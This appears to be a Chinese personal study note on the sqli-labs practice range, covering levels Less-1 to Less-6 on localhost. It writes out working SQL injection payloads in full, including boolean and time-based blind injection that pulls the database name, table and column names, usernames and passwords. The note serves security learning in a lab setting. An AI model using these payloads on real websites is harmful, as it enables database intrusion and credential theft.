SQL注入的知识快忘完了,赶紧回顾一下。
less-1
判断注入类型:
1' and '1'='1 //错误
1 and 1=1 //正常
第一关是字符型注入,其流程一般是:
1、判断注入点
2、判断列数
3、获取所有数据库名
4、获取数据库所有表名
5、获取字段名
6、获取字段中的数据
判断注入点的时候,如果页面返回正常,说明使用的符号不是注入点;如果报错,说明就是注入点,从而可以进行下一步。
靶场的Less-1就是常规的字符型注入
Less-2
当输入http://localhost/sqli-labs/Less-2/?id=1
回显正常,但是后面加上‘
就回显错误,说明是整形注入,不需要闭合符号。
列数还是3。
按照第一关的步骤就行了。
Less-3
每一关判断注入点都是最关键的
第三关的注入点')
,知道了注入点按流程办事。
Less-4
因为是靶场所以找到注入点不是很难都是很简单的符号,如果是实际环境就不好说了。常见的闭合符号:’,“,‘),”)
在常规里找到了第四关的闭合符号。
Less-5
看了一下应该是盲注 ,先判断闭合点。这点与联合查询注入不一样了。
因为没有回显,只能根据浏览器的刷新时间判断是否正确。
盲注也是分为三种布尔类型,时间盲注,报错盲注
①布尔类型的盲注
先判断闭合点:http://localhost/sqli-labs/Less-5/?id=1' and 1=1 --+
闭合符号为:‘
且1=1为真,所以页面正常
和http://localhost/sqli-labs/Less-5/?id=1' and 1=2 --+
虽说闭合符号正常,但是1=2逻辑错误,页面不正常,这也就验证了我们的闭合点找的是对的。
判断数据库长度:构造payload:http://localhost/sqli-labs/Less-5/?id=1' and length(database())=1 --+
依次增加数字,直到页面正常。
判断数据库的名称: 构造payload:?id=1' and left((select database()),1)='s'--+
或者left((select database()),1)<'t'
二分法,一个一个猜解就会找到数据库为security。
爆表:?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
修改limit x,1和长度。
爆列名:?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+
第四列才是password
爆值:
用户名:?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
密码:?id=1' and left((select password from users order by id limit 0,1),1)='d' --+
用户名和密码的id要相对应。
emmm真的很费劲
②时间盲注
判断闭合点语句:?id=1' and sleep(5)--+
选择时间长一点更有利于我们观察。
如果刷新时间长就说明闭合点找对了。
判断数据库的长度:构造payload:http://localhost/sqli-labs/Less-5/?id=1' and if(length(database() )=8 ,sleep(5), 1)
刷新时间比较长的话就说明说句库的长度为8。
剩下的把if(length(database() )=8 ,sleep(5), 1)
换一下就行了。
Less-6
第六关的注入点换成了"
,剩下的步骤都一样。
回头练习一遍,对sql注入有着更好的理解。